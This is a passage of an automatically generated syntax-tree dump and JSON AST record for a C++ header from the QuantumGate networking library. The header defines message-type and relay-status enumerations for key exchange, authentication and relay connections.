320,\n RelayDataAck = 330" (assignment_expression) "EndSessionInit = 100" (identifier) "EndSessionInit" (=) "=" (number_literal) "100" (,) "," (comma_expression) "BeginPrimaryKeyUpdateExchange = 110,\n EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "BeginPrimaryKeyUpdateExchange = 110" (identifier) "BeginPrimaryKeyUpdateExchange" (=) "=" (number_literal) "110" (,) "," (comma_expression) "EndPrimaryKeyUpdateExchange = 120,\n BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "EndPrimaryKeyUpdateExchange = 120" (identifier) "EndPrimaryKeyUpdateExchange" (=) "=" (number_literal) "120" (,) "," (comma_expression) "BeginSecondaryKeyUpdateExchange = 130,\n EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "BeginSecondaryKeyUpdateExchange = 130" (identifier) "BeginSecondaryKeyUpdateExchange" (=) "=" (number_literal) "130" (,) "," (comma_expression) "EndSecondaryKeyUpdateExchange = 140,\n KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "EndSecondaryKeyUpdateExchange = 140" (identifier) "EndSecondaryKeyUpdateExchange" (=) "=" (number_literal) "140" (,) "," (comma_expression) "KeyUpdateReady = 150,\n\n ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "KeyUpdateReady = 150" (identifier) "KeyUpdateReady" (=) "=" (number_literal) "150" (,) "," (comma_expression) "ExtenderCommunication = 160,\n ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "ExtenderCommunication = 160" (identifier) "ExtenderCommunication" (=) "=" (number_literal) "160" (,) "," (comma_expression) "ExtenderUpdate = 170,\n Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "ExtenderUpdate = 170" (identifier) "ExtenderUpdate" (=) "=" (number_literal) "170" (,) "," (comma_expression) "Noise = 180,\n\n RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "Noise = 180" (identifier) "Noise" (=) "=" (number_literal) "180" (,) "," (comma_expression) "RelayCreate = 300,\n RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "RelayCreate = 300" (identifier) "RelayCreate" (=) "=" (number_literal) "300" (,) "," (comma_expression) "RelayStatus = 310,\n RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "RelayStatus = 310" (identifier) "RelayStatus" (=) "=" (number_literal) "310" (,) "," (comma_expression) "RelayData = 320,\n RelayDataAck = 330" (assignment_expression) "RelayData = 320" (identifier) "RelayData" (=) "=" (number_literal) "320" (,) "," (assignment_expression) "RelayDataAck = 330" (identifier) "RelayDataAck" (=) "=" (number_literal) "330" (ERROR) "}" (}) "}" (;) ";" (function_definition) "enum class RelayStatusUpdate : UInt8\n {\n Disconnected = 0,\n Connected = 1,\n Suspended = 2,\n Resumed = 3,\n GeneralFailure = 4,\n ConnectionReset = 5,\n NoPeersAvailable = 6,\n HostUnreachable = 7,\n ConnectionRefused = 8,\n TimedOut = 9\n };\n}" (enum_specifier) "enum class" (enum) "enum" (type_identifier) "class" (identifier) "RelayStatusUpdate" (ERROR) ": UInt8" (:) ":" (identifier) "UInt8" (compound_statement) "{\n Disconnected = 0,\n Connected = 1,\n Suspended = 2,\n Resumed = 3,\n GeneralFailure = 4,\n ConnectionReset = 5,\n NoPeersAvailable = 6,\n HostUnreachable = 7,\n ConnectionRefused = 8,\n TimedOut = 9\n };\n}" ({) "{" (expression_statement) "Disconnected = 0,\n Connected = 1,\n Suspended = 2,\n Resumed = 3,\n GeneralFailure = 4,\n ConnectionReset = 5,\n NoPeersAvailable = 6,\n HostUnreachable = 7,\n ConnectionRefused = 8,\n TimedOut = 9\n };" (comma_expression) "Disconnected = 0,\n Connected = 1,\n Suspended = 2,\n Resumed = 3,\n GeneralFailure = 4,\n ConnectionReset = 5,\n NoPeersAvailable = 6,\n HostUnreachable = 7,\n ConnectionRefused = 8,\n TimedOut = 9" (assignment_expression) "Disconnected = 0" (identifier) "Disconnected" (=) "=" (number_literal) "0" (,) "," (comma_expression) "Connected = 1,\n Suspended = 2,\n Resumed = 3,\n GeneralFailure = 4,\n ConnectionReset = 5,\n NoPeersAvailable = 6,\n HostUnreachable = 7,\n ConnectionRefused = 8,\n TimedOut = 9" (assignment_expression) "Connected = 1" (identifier) "Connected" (=) "=" (number_literal) "1" (,) "," (comma_expression) "Suspended = 2,\n Resumed = 3,\n GeneralFailure = 4,\n ConnectionReset = 5,\n NoPeersAvailable = 6,\n HostUnreachable = 7,\n ConnectionRefused = 8,\n TimedOut = 9" (assignment_expression) "Suspended = 2" (identifier) "Suspended" (=) "=" (number_literal) "2" (,) "," (comma_expression) "Resumed = 3,\n GeneralFailure = 4,\n ConnectionReset = 5,\n NoPeersAvailable = 6,\n HostUnreachable = 7,\n ConnectionRefused = 8,\n TimedOut = 9" (assignment_expression) "Resumed = 3" (identifier) "Resumed" (=) "=" (number_literal) "3" (,) "," (comma_expression) "GeneralFailure = 4,\n ConnectionReset = 5,\n NoPeersAvailable = 6,\n HostUnreachable = 7,\n ConnectionRefused = 8,\n TimedOut = 9" (assignment_expression) "GeneralFailure = 4" (identifier) "GeneralFailure" (=) "=" (number_literal) "4" (,) "," (comma_expression) "ConnectionReset = 5,\n NoPeersAvailable = 6,\n HostUnreachable = 7,\n ConnectionRefused = 8,\n TimedOut = 9" (assignment_expression) "ConnectionReset = 5" (identifier) "ConnectionReset" (=) "=" (number_literal) "5" (,) "," (comma_expression) "NoPeersAvailable = 6,\n HostUnreachable = 7,\n ConnectionRefused = 8,\n TimedOut = 9" (assignment_expression) "NoPeersAvailable = 6" (identifier) "NoPeersAvailable" (=) "=" (number_literal) "6" (,) "," (comma_expression) "HostUnreachable = 7,\n ConnectionRefused = 8,\n TimedOut = 9" (assignment_expression) "HostUnreachable = 7" (identifier) "HostUnreachable" (=) "=" (number_literal) "7" (,) "," (comma_expression) "ConnectionRefused = 8,\n TimedOut = 9" (assignment_expression) "ConnectionRefused = 8" (identifier) "ConnectionRefused" (=) "=" (number_literal) "8" (,) "," (assignment_expression) "TimedOut = 9" (identifier) "TimedOut" (=) "=" (number_literal) "9" (ERROR) "}" (}) "}" (;) ";" (}) "}"
238
6
{"language": "c", "success": true, "metadata": {"lines": 45, "avg_line_length": 23.82, "nodes": 183, "errors": 0, "source_hash": "460df28a85f8af640927d58d771d0b188c8b3c44de7b2cd205cd23eb1dc82cdd", "categorized_nodes": 144}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma once\n", "parent": null, "children": [1, 2], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#pragma", "parent": 0, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "once", "parent": 0, "children": [], "start_point": {"row": 3, "column": 8}, "end_point": {"row": 3, "column": 12}}, {"id": 3, "type": "ERROR", "text": "namespace QuantumGate::Implementation::Core\n{\n\tenum class MessageType : UInt16\n\t{\n\t\tUnknown = 0,\n\n\t\tBeginMetaExchange = 10,\n\t\tEndMetaExchange = 20,\n\t\tBeginPrimaryKeyExchange = 30,\n\t\tEndPrimaryKeyExchange = 40,\n\t\tBeginSecondaryKeyExchange = 50,\n\t\tEndSecondaryKeyExchange = 60,\n\t\tBeginAuthentication = 70,\n\t\tEndAuthentication = 80,\n\t\tBeginSessionInit = 90,\n\t\tEndSessionInit = 100,\n\n\t\tBeginPrimaryKeyUpdateExchange = 110,\n\t\tEndPrimaryKeyUpdateExchange = 120,\n\t\tBeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330\n\t};\n\n\tenum class RelayStatusUpdate : UInt8\n\t{\n\t\tDisconnected = 0,\n\t\tConnected = 1,\n\t\tSuspended = 2,\n\t\tResumed = 3,\n\t\tGeneralFailure = 4,\n\t\tConnectionReset = 5,\n\t\tNoPeersAvailable = 6,\n\t\tHostUnreachable = 7,\n\t\tConnectionRefused = 8,\n\t\tTimedOut = 9\n\t};\n}", "parent": null, "children": [4, 5, 8, 9, 11, 12, 128], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 51, "column": 1}}, {"id": 4, "type": "type_identifier", "text": "namespace", "parent": 3, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 9}}, {"id": 5, "type": "ERROR", "text": "QuantumGate::Implementation::", "parent": 3, "children": [6, 7], "start_point": {"row": 5, "column": 10}, "end_point": {"row": 5, "column": 39}}, {"id": 6, "type": "identifier", "text": "QuantumGate", "parent": 5, "children": [], "start_point": {"row": 5, "column": 10}, "end_point": {"row": 5, "column": 21}}, {"id": 7, "type": "identifier", "text": "Implementation", "parent": 5, "children": [], "start_point": {"row": 5, "column": 23}, "end_point": {"row": 5, "column": 37}}, {"id": 8, "type": "identifier", "text": "Core", "parent": 3, "children": [], "start_point": {"row": 5, "column": 39}, "end_point": {"row": 5, "column": 43}}, {"id": 9, "type": "enum_specifier", "text": "enum class", "parent": 3, "children": [10], "start_point": {"row": 7, "column": 1}, "end_point": {"row": 7, "column": 11}}, {"id": 10, "type": "enum", "text": "enum", "parent": 9, "children": [], "start_point": {"row": 7, "column": 1}, "end_point": {"row": 7, "column": 5}}, {"id": 11, "type": "identifier", "text": "MessageType", "parent": 3, "children": [], "start_point": {"row": 7, "column": 12}, "end_point": {"row": 7, "column": 23}}, {"id": 12, "type": "ERROR", "text": ": UInt16", "parent": 3, "children": [13], "start_point": {"row": 7, "column": 24}, "end_point": {"row": 7, "column": 32}}, {"id": 13, "type": "identifier", "text": "UInt16", "parent": 12, "children": [], "start_point": {"row": 7, "column": 26}, "end_point": {"row": 7, "column": 32}}, {"id": 14, "type": "comma_expression", "text": "Unknown = 0,\n\n\t\tBeginMetaExchange = 10,\n\t\tEndMetaExchange = 20,\n\t\tBeginPrimaryKeyExchange = 30,\n\t\tEndPrimaryKeyExchange = 40,\n\t\tBeginSecondaryKeyExchange = 50,\n\t\tEndSecondaryKeyExchange = 60,\n\t\tBeginAuthentication = 70,\n\t\tEndAuthentication = 80,\n\t\tBeginSessionInit = 90,\n\t\tEndSessionInit = 100,\n\n\t\tBeginPrimaryKeyUpdateExchange = 110,\n\t\tEndPrimaryKeyUpdateExchange = 120,\n\t\tBeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 3, "children": [15, 19], "start_point": {"row": 9, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 15, "type": "assignment_expression", "text": "Unknown = 0", "parent": 14, "children": [16, 17, 18], "start_point": {"row": 9, "column": 2}, "end_point": {"row": 9, "column": 13}}, {"id": 16, "type": "identifier", "text": "Unknown", "parent": 15, "children": [], "start_point": {"row": 9, "column": 2}, "end_point": {"row": 9, "column": 9}}, {"id": 17, "type": "=", "text": "=", "parent": 15, "children": [], "start_point": {"row": 9, "column": 10}, "end_point": {"row": 9, "column": 11}}, {"id": 18, "type": "number_literal", "text": "0", "parent": 15, "children": [], "start_point": {"row": 9, "column": 12}, "end_point": {"row": 9, "column": 13}}, {"id": 19, "type": "comma_expression", "text": "BeginMetaExchange = 10,\n\t\tEndMetaExchange = 20,\n\t\tBeginPrimaryKeyExchange = 30,\n\t\tEndPrimaryKeyExchange = 40,\n\t\tBeginSecondaryKeyExchange = 50,\n\t\tEndSecondaryKeyExchange = 60,\n\t\tBeginAuthentication = 70,\n\t\tEndAuthentication = 80,\n\t\tBeginSessionInit = 90,\n\t\tEndSessionInit = 100,\n\n\t\tBeginPrimaryKeyUpdateExchange = 110,\n\t\tEndPrimaryKeyUpdateExchange = 120,\n\t\tBeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 14, "children": [20, 24], "start_point": {"row": 11, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 20, "type": "assignment_expression", "text": "BeginMetaExchange = 10", "parent": 19, "children": [21, 22, 23], "start_point": {"row": 11, "column": 2}, "end_point": {"row": 11, "column": 24}}, {"id": 21, "type": "identifier", "text": "BeginMetaExchange", "parent": 20, "children": [], "start_point": {"row": 11, "column": 2}, "end_point": {"row": 11, "column": 19}}, {"id": 22, "type": "=", "text": "=", "parent": 20, "children": [], "start_point": {"row": 11, "column": 20}, "end_point": {"row": 11, "column": 21}}, {"id": 23, "type": "number_literal", "text": "10", "parent": 20, "children": [], "start_point": {"row": 11, "column": 22}, "end_point": {"row": 11, "column": 24}}, {"id": 24, "type": "comma_expression", "text": "EndMetaExchange = 20,\n\t\tBeginPrimaryKeyExchange = 30,\n\t\tEndPrimaryKeyExchange = 40,\n\t\tBeginSecondaryKeyExchange = 50,\n\t\tEndSecondaryKeyExchange = 60,\n\t\tBeginAuthentication = 70,\n\t\tEndAuthentication = 80,\n\t\tBeginSessionInit = 90,\n\t\tEndSessionInit = 100,\n\n\t\tBeginPrimaryKeyUpdateExchange = 110,\n\t\tEndPrimaryKeyUpdateExchange = 120,\n\t\tBeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 19, "children": [25, 29], "start_point": {"row": 12, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 25, "type": "assignment_expression", "text": "EndMetaExchange = 20", "parent": 24, "children": [26, 27, 28], "start_point": {"row": 12, "column": 2}, "end_point": {"row": 12, "column": 22}}, {"id": 26, "type": "identifier", "text": "EndMetaExchange", "parent": 25, "children": [], "start_point": {"row": 12, "column": 2}, "end_point": {"row": 12, "column": 17}}, {"id": 27, "type": "=", "text": "=", "parent": 25, "children": [], "start_point": {"row": 12, "column": 18}, "end_point": {"row": 12, "column": 19}}, {"id": 28, "type": "number_literal", "text": "20", "parent": 25, "children": [], "start_point": {"row": 12, "column": 20}, "end_point": {"row": 12, "column": 22}}, {"id": 29, "type": "comma_expression", "text": "BeginPrimaryKeyExchange = 30,\n\t\tEndPrimaryKeyExchange = 40,\n\t\tBeginSecondaryKeyExchange = 50,\n\t\tEndSecondaryKeyExchange = 60,\n\t\tBeginAuthentication = 70,\n\t\tEndAuthentication = 80,\n\t\tBeginSessionInit = 90,\n\t\tEndSessionInit = 100,\n\n\t\tBeginPrimaryKeyUpdateExchange = 110,\n\t\tEndPrimaryKeyUpdateExchange = 120,\n\t\tBeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 24, "children": [30, 34], "start_point": {"row": 13, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 30, "type": "assignment_expression", "text": "BeginPrimaryKeyExchange = 30", "parent": 29, "children": [31, 32, 33], "start_point": {"row": 13, "column": 2}, "end_point": {"row": 13, "column": 30}}, {"id": 31, "type": "identifier", "text": "BeginPrimaryKeyExchange", "parent": 30, "children": [], "start_point": {"row": 13, "column": 2}, "end_point": {"row": 13, "column": 25}}, {"id": 32, "type": "=", "text": "=", "parent": 30, "children": [], "start_point": {"row": 13, "column": 26}, "end_point": {"row": 13, "column": 27}}, {"id": 33, "type": "number_literal", "text": "30", "parent": 30, "children": [], "start_point": {"row": 13, "column": 28}, "end_point": {"row": 13, "column": 30}}, {"id": 34, "type": "comma_expression", "text": "EndPrimaryKeyExchange = 40,\n\t\tBeginSecondaryKeyExchange = 50,\n\t\tEndSecondaryKeyExchange = 60,\n\t\tBeginAuthentication = 70,\n\t\tEndAuthentication = 80,\n\t\tBeginSessionInit = 90,\n\t\tEndSessionInit = 100,\n\n\t\tBeginPrimaryKeyUpdateExchange = 110,\n\t\tEndPrimaryKeyUpdateExchange = 120,\n\t\tBeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 29, "children": [35, 39], "start_point": {"row": 14, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 35, "type": "assignment_expression", "text": "EndPrimaryKeyExchange = 40", "parent": 34, "children": [36, 37, 38], "start_point": {"row": 14, "column": 2}, "end_point": {"row": 14, "column": 28}}, {"id": 36, "type": "identifier", "text": "EndPrimaryKeyExchange", "parent": 35, "children": [], "start_point": {"row": 14, "column": 2}, "end_point": {"row": 14, "column": 23}}, {"id": 37, "type": "=", "text": "=", "parent": 35, "children": [], "start_point": {"row": 14, "column": 24}, "end_point": {"row": 14, "column": 25}}, {"id": 38, "type": "number_literal", "text": "40", "parent": 35, "children": [], "start_point": {"row": 14, "column": 26}, "end_point": {"row": 14, "column": 28}}, {"id": 39, "type": "comma_expression", "text": "BeginSecondaryKeyExchange = 50,\n\t\tEndSecondaryKeyExchange = 60,\n\t\tBeginAuthentication = 70,\n\t\tEndAuthentication = 80,\n\t\tBeginSessionInit = 90,\n\t\tEndSessionInit = 100,\n\n\t\tBeginPrimaryKeyUpdateExchange = 110,\n\t\tEndPrimaryKeyUpdateExchange = 120,\n\t\tBeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 34, "children": [40, 44], "start_point": {"row": 15, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 40, "type": "assignment_expression", "text": "BeginSecondaryKeyExchange = 50", "parent": 39, "children": [41, 42, 43], "start_point": {"row": 15, "column": 2}, "end_point": {"row": 15, "column": 32}}, {"id": 41, "type": "identifier", "text": "BeginSecondaryKeyExchange", "parent": 40, "children": [], "start_point": {"row": 15, "column": 2}, "end_point": {"row": 15, "column": 27}}, {"id": 42, "type": "=", "text": "=", "parent": 40, "children": [], "start_point": {"row": 15, "column": 28}, "end_point": {"row": 15, "column": 29}}, {"id": 43, "type": "number_literal", "text": "50", "parent": 40, "children": [], "start_point": {"row": 15, "column": 30}, "end_point": {"row": 15, "column": 32}}, {"id": 44, "type": "comma_expression", "text": "EndSecondaryKeyExchange = 60,\n\t\tBeginAuthentication = 70,\n\t\tEndAuthentication = 80,\n\t\tBeginSessionInit = 90,\n\t\tEndSessionInit = 100,\n\n\t\tBeginPrimaryKeyUpdateExchange = 110,\n\t\tEndPrimaryKeyUpdateExchange = 120,\n\t\tBeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 39, "children": [45, 49], "start_point": {"row": 16, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 45, "type": "assignment_expression", "text": "EndSecondaryKeyExchange = 60", "parent": 44, "children": [46, 47, 48], "start_point": {"row": 16, "column": 2}, "end_point": {"row": 16, "column": 30}}, {"id": 46, "type": "identifier", "text": "EndSecondaryKeyExchange", "parent": 45, "children": [], "start_point": {"row": 16, "column": 2}, "end_point": {"row": 16, "column": 25}}, {"id": 47, "type": "=", "text": "=", "parent": 45, "children": [], "start_point": {"row": 16, "column": 26}, "end_point": {"row": 16, "column": 27}}, {"id": 48, "type": "number_literal", "text": "60", "parent": 45, "children": [], "start_point": {"row": 16, "column": 28}, "end_point": {"row": 16, "column": 30}}, {"id": 49, "type": "comma_expression", "text": "BeginAuthentication = 70,\n\t\tEndAuthentication = 80,\n\t\tBeginSessionInit = 90,\n\t\tEndSessionInit = 100,\n\n\t\tBeginPrimaryKeyUpdateExchange = 110,\n\t\tEndPrimaryKeyUpdateExchange = 120,\n\t\tBeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 44, "children": [50, 54], "start_point": {"row": 17, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 50, "type": "assignment_expression", "text": "BeginAuthentication = 70", "parent": 49, "children": [51, 52, 53], "start_point": {"row": 17, "column": 2}, "end_point": {"row": 17, "column": 26}}, {"id": 51, "type": "identifier", "text": "BeginAuthentication", "parent": 50, "children": [], "start_point": {"row": 17, "column": 2}, "end_point": {"row": 17, "column": 21}}, {"id": 52, "type": "=", "text": "=", "parent": 50, "children": [], "start_point": {"row": 17, "column": 22}, "end_point": {"row": 17, "column": 23}}, {"id": 53, "type": "number_literal", "text": "70", "parent": 50, "children": [], "start_point": {"row": 17, "column": 24}, "end_point": {"row": 17, "column": 26}}, {"id": 54, "type": "comma_expression", "text": "EndAuthentication = 80,\n\t\tBeginSessionInit = 90,\n\t\tEndSessionInit = 100,\n\n\t\tBeginPrimaryKeyUpdateExchange = 110,\n\t\tEndPrimaryKeyUpdateExchange = 120,\n\t\tBeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 49, "children": [55, 59], "start_point": {"row": 18, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 55, "type": "assignment_expression", "text": "EndAuthentication = 80", "parent": 54, "children": [56, 57, 58], "start_point": {"row": 18, "column": 2}, "end_point": {"row": 18, "column": 24}}, {"id": 56, "type": "identifier", "text": "EndAuthentication", "parent": 55, "children": [], "start_point": {"row": 18, "column": 2}, "end_point": {"row": 18, "column": 19}}, {"id": 57, "type": "=", "text": "=", "parent": 55, "children": [], "start_point": {"row": 18, "column": 20}, "end_point": {"row": 18, "column": 21}}, {"id": 58, "type": "number_literal", "text": "80", "parent": 55, "children": [], "start_point": {"row": 18, "column": 22}, "end_point": {"row": 18, "column": 24}}, {"id": 59, "type": "comma_expression", "text": "BeginSessionInit = 90,\n\t\tEndSessionInit = 100,\n\n\t\tBeginPrimaryKeyUpdateExchange = 110,\n\t\tEndPrimaryKeyUpdateExchange = 120,\n\t\tBeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 54, "children": [60, 64], "start_point": {"row": 19, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 60, "type": "assignment_expression", "text": "BeginSessionInit = 90", "parent": 59, "children": [61, 62, 63], "start_point": {"row": 19, "column": 2}, "end_point": {"row": 19, "column": 23}}, {"id": 61, "type": "identifier", "text": "BeginSessionInit", "parent": 60, "children": [], "start_point": {"row": 19, "column": 2}, "end_point": {"row": 19, "column": 18}}, {"id": 62, "type": "=", "text": "=", "parent": 60, "children": [], "start_point": {"row": 19, "column": 19}, "end_point": {"row": 19, "column": 20}}, {"id": 63, "type": "number_literal", "text": "90", "parent": 60, "children": [], "start_point": {"row": 19, "column": 21}, "end_point": {"row": 19, "column": 23}}, {"id": 64, "type": "comma_expression", "text": "EndSessionInit = 100,\n\n\t\tBeginPrimaryKeyUpdateExchange = 110,\n\t\tEndPrimaryKeyUpdateExchange = 120,\n\t\tBeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 59, "children": [65, 69], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 65, "type": "assignment_expression", "text": "EndSessionInit = 100", "parent": 64, "children": [66, 67, 68], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 20, "column": 22}}, {"id": 66, "type": "identifier", "text": "EndSessionInit", "parent": 65, "children": [], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 20, "column": 16}}, {"id": 67, "type": "=", "text": "=", "parent": 65, "children": [], "start_point": {"row": 20, "column": 17}, "end_point": {"row": 20, "column": 18}}, {"id": 68, "type": "number_literal", "text": "100", "parent": 65, "children": [], "start_point": {"row": 20, "column": 19}, "end_point": {"row": 20, "column": 22}}, {"id": 69, "type": "comma_expression", "text": "BeginPrimaryKeyUpdateExchange = 110,\n\t\tEndPrimaryKeyUpdateExchange = 120,\n\t\tBeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 64, "children": [70, 74], "start_point": {"row": 22, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 70, "type": "assignment_expression", "text": "BeginPrimaryKeyUpdateExchange = 110", "parent": 69, "children": [71, 72, 73], "start_point": {"row": 22, "column": 2}, "end_point": {"row": 22, "column": 37}}, {"id": 71, "type": "identifier", "text": "BeginPrimaryKeyUpdateExchange", "parent": 70, "children": [], "start_point": {"row": 22, "column": 2}, "end_point": {"row": 22, "column": 31}}, {"id": 72, "type": "=", "text": "=", "parent": 70, "children": [], "start_point": {"row": 22, "column": 32}, "end_point": {"row": 22, "column": 33}}, {"id": 73, "type": "number_literal", "text": "110", "parent": 70, "children": [], "start_point": {"row": 22, "column": 34}, "end_point": {"row": 22, "column": 37}}, {"id": 74, "type": "comma_expression", "text": "EndPrimaryKeyUpdateExchange = 120,\n\t\tBeginSecondaryKeyUpdateExchange = 130,\n\t\tEndSecondaryKeyUpdateExchange = 140,\n\t\tKeyUpdateReady = 150,\n\n\t\tExtenderCommunication = 160,\n\t\tExtenderUpdate = 170,\n\t\tNoise = 180,\n\n\t\tRelayCreate = 300,\n\t\tRelayStatus = 310,\n\t\tRelayData = 320,\n\t\tRelayDataAck = 330", "parent": 69, "children": [75, 79], "start_point": {"row": 23, "column": 2}, "end_point": {"row": 35, "column": 20}}, {"id": 75, "type": "assignment_expression", "text": "EndPrimaryKeyUpdateExchange = 120", "parent": 74, "children": [76, 77, 78], "start_point": {"row": 23, "column": 2}, "end_point": {"row": 23, "column": 35}}, {"id": 76, "type": "identifier", "text": 